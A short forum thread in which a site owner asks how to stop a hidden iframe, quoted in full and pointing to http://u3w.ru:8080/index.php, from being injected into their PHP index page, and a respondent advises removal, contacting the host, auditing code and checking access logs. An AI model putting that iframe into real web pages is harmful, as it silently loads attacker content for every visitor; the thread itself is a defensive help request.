code injection

[dizyn]

some how following code gets inject to my index page. what should I do to stop it?

<iframe src="http://u3w.ru:8080/index.php" width=123 height=130 style="visibility: hidden"></iframe>

[Dan Grossman]

Delete it, contact your web host, go through your website code looking for holes that would allow this, and start reading access logs.

[dizyn]

Dan thanks for your reply.

I removed that code and today i faced a new type of issue some of the code from the index page has been deleted.


you asked me to check holes in the code plus check access log.

Can you please guide me that what should i search in access log and what type of holes can create this type of problem?

I am using php code with JavaScript code, I am also using ajax in my page.

thanks